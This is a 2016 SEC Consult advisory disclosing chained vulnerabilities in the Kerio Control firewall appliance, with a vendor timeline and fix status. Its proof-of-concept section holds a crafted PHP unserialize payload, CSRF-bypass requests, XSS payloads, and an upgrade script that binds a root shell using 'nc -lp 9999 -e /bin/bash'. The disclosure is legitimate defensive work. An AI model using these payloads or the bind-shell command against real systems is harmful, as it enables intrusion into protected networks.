Kerio Control Unified Threat Management Code Execution / XSS / Memory Corruption
Posted on 22 September 2016
SEC Consult has also released a blog post describing the attack scenarios of the vulnerabilities within this advisory in detail and a video which shows the remote attack. Exploit code has been developed as well but will not be released for now. Blog: http://blog.sec-consult.com/2016/09/controlling-kerio-control-when-your.html Video: https://www.youtube.com/watch?v=y_OWz25sHMI SEC Consult Vulnerability Lab Security Advisory < 20160922-0 > ======================================================================= title: Potential backdoor access through multiple vulnerabilities product: Kerio Control Unified Threat Management vulnerable version: <9.1.3, verified in version 9.1.0 build 1087 and 9.1.1 build 1324 fixed version: 9.1.3 (partially fixed, see vendor statement below) CVE number: - impact: critical homepage: http://www.kerio.com/ found: 2016-08-24 by: R. Freingruber (Office Vienna) R. Tavakoli (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Protect your network from viruses, malware and malicious activity with Kerio Control, the easy-to-administer yet powerful all-in-one security solution. Kerio Control brings together next-generation firewall capabilities - including a network firewall and router, intrusion detection and prevention (IPS), gateway anti-virus, VPN, and web contentand application filtering. These comprehensive capabilities and unmatched deployment flexibility make Kerio Control the ideal choice for small and mid-sized businesses." Source: http://www.kerio.com/products/kerio-control Business recommendation: ------------------------ By combining the vulnerabilities documented in this advisory an attacker can fully compromise a network which uses the Kerio Control appliance for protection. The attacker can trick a victim to visit a malicious website which then conducts the internal attack. The attacked victim must be logged in or weak credentials must be configured which can be found with a bruteforce attack. The attacker will gain a reverse root shell from the Internet to the internal Kerio Control firewall system. Moreover, it's possible that an internal attacker uses the described vulnerabilities to escalate his privileges (low privileged account to full root shell) to steal credentials from other users on the UTM appliance. Most vulnerabilities (RCE, CSRF bypasses, XSS, Heap Spraying) were found in just two PHP scripts. Both scripts are not referenced by any other PHP script nor by any binary on the system. Both scripts contain a different(!), seemingly deliberate(?) CSRF bypass which make the vulnerabilities exploitable from the Internet to obtain a reverse root shell. SEC Consult recommends not to use Kerio Control until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) Unsafe usage of the PHP unserialize function and outdated PHP version leads to remote-code-execution An authenticated user (standard user or administrator) can control data, which gets later unserialized. Kerio Control uses PHP 5.2.13 which was released on 2010-02-25. This version is more than 6 years old and several bugs were found in the meantime within the unserialize function. The following CVE numbers are just some examples for vulnerabilities in unserialize which lead to remote code execution: -) CVE-2014-8142 -) CVE-2014-3515 -) CVE-2015-0231 -) CVE-2015-6834 -) CVE-2016-5771 -) CVE-2016-5773 PHP 5.2.13 is especially affected by CVE-2014-3515. This vulnerability uses a type confusion attack to trigger a use-after-free vulnerability. It can be used to read data and get full code execution. In the case of Kerio Control the result of unserialize is not reflected back to the attacker. It's therefore not possible to read memory from the stack or heap (e.g. to bypass ASLR). Nevertheless, SEC Consult developed a fully working and reliable (blind) exploit for this vulnerability which spawns a reverse root shell to the Kerio Control system. For this exploit a user account is required. However, it's also possible to conduct the attack via the Internet because the CSRF (Cross Site Request Forgery) check can be bypassed (see below). An attacker can use this vulnerability to break into a company network via the Internet by tricking a logged in user to visit a malicious website. Even if the user is currently not logged in the attacker can start a bruteforce attack to obtain valid credentials to conduct the attack. 2) PHP script allows heap spraying One of the PHP scripts allows the allocation of memory inside the main binary (winroute) of Kerio Control. Winroute contains the code of most services (e.g. the webserver, PHP, network related functionality, ...). The memory will not be freed after finishing the request and can therefore be used to spray payloads to the whole memory space. This vulnerability was used in the overall exploit to defeat ASLR. Please bear in mind that it's very likely that an attacker can write a working exploit without heap spraying. Fixing this vulnerability would therefore not prevent the exploitation of the remote code execution vulnerability. For example, the information disclosure vulnerability from this advisory can be used to bypass ASLR as well. This would eliminate the need of heap spraying. 3) CSRF Protection Bypass The PHP scripts contain code to protect against CSRF (Cross Site Request Forgery) attacks. Because of the wrong usage of PHP binary operations and comparisons it's possible to bypass this check. That means that an attacker can trigger requests from other websites which will be handled by Kerio Control. This vulnerability allows to exploit the remote code execution vulnerability from the Internet to break into a network. 4) Webserver running with root privileges The main binary (which contains the webserver and PHP) runs with root privileges. Kerio told SEC Consult that this vulnerability will not be fixed. SEC Consult strongly recommended otherwise. 5) Reflected Cross Site Scripting (XSS) Kerio Control does not properly encode parameters which are reflected on the website. This leads to cross site scripting vulnerabilities. An attacker can abuse these vulnerabilities to modify the website or do actions in the context of the attacked user. 6) Missing memory corruption protections The main binary (winroute) is not compiled as position-independent executable (PIE). This allowed the use of ROP (return-oriented-programming) code to bypass the not executable heap. Moreover, the stack is per default marked as executable, but the exact location of the stack is randomized by ASLR. 7) Information Disclosure leads to ASLR bypass One of the PHP scripts leaks pointers to the stack and heap. This can be abused by attackers to bypass ASLR. Because stacks are marked as executable an attacker can therefore easily bypass ASLR and DEP/NX. 8) Remote Code Execution as administrator Nearly a year ago on 2015-10-12 Raschin Tavakoli reported a remote code execution vulnerability in the administrative web interface in the upgrade functionality. This vulnerability is still unfixed, only the associated XSS vulnerability was fixed. However, an attacker can still exploit it from the Internet, e.g. by abusing the XSS vulnerability described in this advisory (where the CSRF check can be bypassed). With this vulnerability an attacker can gain a reverse root shell on Kerio Control again if a logged in administrator visits a malicious website on the Internet. More information can also be found in the old advisory: https://www.exploit-db.com/exploits/38450/ 9) Login not protected against brute-force attacks There are no bruteforce protections in place for the login. If an unauthenticated victim visits an attacker's website, the attacker can start a bruteforce attack to obtain valid credentials to execute the remote code execution exploit. Via image-loading the attacker can detect if the current credentials are valid (without violating SOP). Proof of concept: ----------------- 1) Unsafe usage of the PHP unserialize function and outdated PHP version leads to remote-code-execution The following request can be used to set the unserialize data. In this example a faked string is used which points to 0xffffffff (kernel memory). Unserializing it will therefore crash the remote webserver (the winroute process). POST /set.php HTTP/1.1 Host: $IP:4081 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 730 k_securityHash=x&target=k_sessionVariable&k_variable=lastDisplayed&k_value=a:18:{s:8:"k_dbName";s:5:"error";s:11:"k_dbSummara";s:3:"abc";s:14:"k_dbIndividual";s:3:"abc";s:16:"k_dbLastUsedType";s:3:"abc";s:10:"k_dbLayout";s:3:"abc";s:10:"k_pageType";s:3:"abc";s:13:"k_periodStart";i:123;s:11:"k_periodEnd";i:123;s:8:"k_userId";i:123;s:6:"tabBar";i:123;s:13:"k_gotoElement";i:123;s:9:"k_protoId";i:123;s:11:"k_errorType";i:123;s:16:"k_timezoneOffset";i:123;s:9:"k_groupId";i:123;s:2:"id";i:123;s:11:"k_dbSummary";C:16:"SplObjectStorage":152:{x:i:2;O:8:"stdClass":1:{i:0;a:2:{i:1;i:1;i:2;i:2;}};d:2.0851592721051977e-262;;m:a:2:{i:0;S:15:"ffffffff20 0 0 0 1 0 0 0 6 0 0";i:1;R:3;}}s:18:"k_historyTimestamp";s:3:"abc";} The following request will call unserialize on the injected data: GET /contentLoader.php?k_getHistoryId=1&k_securityHash=x HTTP/1.1 Host: $IP:4081 Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>; Connection: close In the example above only a denial of service will be conducted. However, an attacker can change the data type to object to get full code execution on the remote system. SEC Consult developed a fully working exploit for this attack which spawns a root shell. Please note that this exploit was intentionally written to just target Kerio Control 9.1.0 Build 1087. This is because hardcoded offsets are used which belong to the winroute binary with the SHA256 hash: 2808c35528b9a4713b91f65a881dfca03088de08b6331fdee1c698523bd757b0 This exploit will not be released for now. A real-world-attacker can detect the remote binary version by bruteforcing the object handler related to CVE-2014-3515. 2) PHP script allows heap spraying The set.php script contains the following code: $p_variable = urldecode($_POST['k_variable']); $p_value = urldecode($_POST['k_value']); ... $p_session->setSessionVariable($p_variable, $p_value); POST requests with the following parameters can therefore be used to allocate space on the remote system: k_securityHash=x&target=k_sessionVariable&k_variable=<random_name> &k_value=<payload_to_allocate> During tests it was possible to spray approximately 400 MB data in 30 seconds which is enough to control two predictable addresses on the heap. 3) CSRF Protection Bypass Two scripts are required for the remote code execution exploit: -) set.php -) ContentLoader.php Both scripts contain different very interesting CSRF check bypasses. The following code can be found in set.php: $p_session->getCsrfToken(&$p_securityHash); $p_postedHash = $_GET['k_securityHash'] || $_POST['k_securityHash']; if ('' == $p_postedHash || ($p_postedHash != $p_securityHash)) { exit(); } Since the programming language is PHP (and not JavaScript), the above code code does not work as expected. $p_postedHash can only become 0 or 1 because || is a logical operator. The if-condition compares the valid token with the posted one via the != operator, however, this will not check if types are the same. If k_securityHash is set (either via GET or POST) to any value, the above code will compare the number 1 with a string, which will always bypass the check. It's therefore enough to set k_securityHash to any value to bypass the CSRF protection. The following code can be found in contentLoader.php: $p_session->getCsrfToken(&$p_securityHash); $p_postedHash = $_GET['k_securityHash']; ... if (!$p_session || ('' == $p_postedHash && $p_postedHash != $p_securityHash)) { $p_page = new p_Page(); $p_page->p_jsCode('window.top.location = "index.php";'); $p_page->p_showPageCode(); die(); } Now the programmers only use the GET parameter, however, they changed the logical operator in the if condition from || to && which means that the CSRF check will only be applied if $p_postedHash is empty. It's therefore again enough to set k_securityHash to any value to bypass the check. 4) Webserver running with root privileges No proof of concept necessary. 5) Reflected Cross Site Scripting (XSS) In the following request the k_historyTimestamp parameter is prone to XSS: https://<IP>:4081/contentLoader.php?k_dbName=x&k_securityHash=x &k_historyTimestamp=aa%22;alert(1)%3b// In the same request the id parameter can be used to inject JavaScript code. Note that the attack can only be conducted against administrative users. Users with standard privileges can only access pages with k_dbName set to one of the following values: -) accStats -) prefs -) dialup -) error In such a case Kerio Control adds code like the following (in this example k_dbName=dialup): var k_newDbName = "<kerio:text id="tabCaption_dialup"/>"; The " characters within the string are not correctly encoded. This will lead to the termination of the JavaScript execution. Because the injected payload is stored after this code, the attacker must bypass this code to ensure that the payload gets executed. This is only possible if the attacked user is an administrator because administrators can load any dbName. By setting k_dbName to an invalid dbName (e.g. to 'x'), code like the following will be added instead (which does not crash): var k_newDbName = ""; Another XSS can be found at: https://<IP>:4081/admin/internal/dologin.php?hash=%0D%0A"><script>alert(1);</script><!-- 6) Missing memory corruption protections No proof of concept necessary. 7) Information Disclosure leads to ASLR bypass The following request returns information to the currently logged in user (e.g. session token and username): GET /nonauth/getLoginType.js.php HTTP/1.1 Host: $IP:4081 Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>; Connection: close The following is a typical response: HTTP/1.1 200 OK Connection: Close Content-type: text/html Date: Tue, 24 Aug 2016 11:47:34 GMT Server: Kerio Control Embedded Web Server X-UA-Compatible: IE=edge k_loginParams.k_loginType = "loginUnlock";k_loginParams.k_nonauthToken = "0xb59066a8";k_loginParams.k_sessionToken = "bc7c9ae78f01e498b7c935b4ad521b664d4e2c5574bde30cdf57851a58763660";k_loginParams.k_loggedUser = {k_asocName: "user", k_fullName: "user"}; The above response contains a valid pointer (0xb59066a8). In most cases this pointer will point to the heap. However, sometimes this pointer will point into a readable and writeable region behind a stack-region. The target location always stores the same data. During the analysis no further effort was spent on analysing this behaviour. The pointer will also be disclosed if the user is already logged out. In such a case the response looks like: HTTP/1.1 200 OK Connection: Close Content-type: text/html Date: Tue, 24 Aug 2016 12:04:44 GMT Server: Kerio Control Embedded Web Server X-UA-Compatible: IE=edge k_loginParams.k_loginType = "loginCommon";k_loginParams.k_nonauthToken = "0xb2ee208"; An attack scenario can be: -) The attacker tricks a victim to visit the attacker's malicious website -) The attacker's website uses the CSRF bypass and the identified XSS vulnerability to embed a malicious script inside the Kerio Control website -) The attacker's website iframes the Kerio Control website to trigger the execution of the XSS payload -) The XSS payload runs on the same domain and can therefore send requests and read responses. This means the attacker can send requests to getLoginType.js.php to obtain a memory pointer. -) If the memory pointer is within a specific range (e.g. the highest nibble is zero), it's a pointer to the heap. In such a case the RCE vulnerability can be used to crash and restart the server. After that the same check can be done again. -) If the memory pointer points near a stack (highest nibble is 0xb), the pointer can be used to calculate the base address of a stack. -) Now the attacker knows the location of a stack (all stacks are marked as readable, writeable and executable). He can now easily bypass ASLR and DEP. 8) Remote Code Execution as administrator An attacker can create a malicious upgrade image with the following commands: cat upgrade.sh #!/bin/bash nc -lp 9999 -e /bin/bash & tar czf upgrade.tar.gz * mv upgrade.tar.gz upgrade.img The image can be uploaded in the administrative web interface. This will bind a root shell on port 9999. The complete attack can also be conducted via the cross site scripting vulnerability described in this advisory (XSS in contentLoader.php). This enables an attacker to conduct the attack from the Internet to obtain a reverse shell on Kerio Control. 9) Login not protected against brute-force attacks Valid credentials can be obtained via a brute-force attack. It's enough to send a POST request to /internal/dologin.php with the parameters kerio_username and kerio_password set. A remote attacker can detect if the credentials are correct without reading the response (SOP would not allow to read the response). This is possible because /internal/photo will only return a valid image if the user is currently logged in. The attacker can load an image from this URL and check if loading was successful to leak the information if the credentials are valid or not. The following code demonstrates this: <img src="https://<Kerio-IP>/internal/photo" onerror=not_logged_in(); onload=logged_in();></img> Vulnerable / tested versions: ----------------------------- The following product versions were found to be vulnerable which were the latest versions available at the time of the discovery: v9.1.0 (Build 1087) v9.1.1 (Build 1324) Vendor contact timeline: ------------------------ 2016-08-29: Contacting vendor through website (bug report: bugreports@support.kerio.com) Ticket-ID: MYW-768664 2016-08-31: No answer, contacting CTO of Kerio via email 2016-09-01: Received security contact with PGP & S/MIME certificate 2016-09-01: Transmission of PGP encrypted advisory to Kerio 2016-09-09: Received answer, Kerio confirms vulnerabilities 1,2,3,5,6,7 Statement to vulnerability 9: "the feature already is in the product." Statement to vulnerabilities 4 (Webserver running with root privileges) and 8 (Remote Code Execution as administrator): "I do not consider this a vulnerability" Update including a fix will be available on 2016-09-20 2016-09-09: SEC Consult informed Kerio to re-think the decision not fixing the vulnerabilities 4, 8 and 9 SEC Consult highly recommends to fix all reported issues 2016-09-13: SEC Consult informed Kerio that the advisory will be released on 2016-09-22 2016-09-20: Kerio releases patch for Kerio Control 2016-09-22: Coordianted release of security advisory Solution: --------- The vendor has released version 9.1.3 on 20th September which, according to the vendor, fixes the vulnerabilities 1,2,3,5,6,7. The vendor told us the following regarding vulnerability 9: "the feature already is in the product" Vulnerability 4 and 8 are not considered a vulnerability by the vendor and will not be fixed. SEC Consult strongly recommended fixing issue 4 and 8 as well. The latest version can be downloaded from here: http://www.kerio.com/support/kerio-control http://www.kerio.com/support/kerio-control/release-history Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF R. Freingruber / @2016
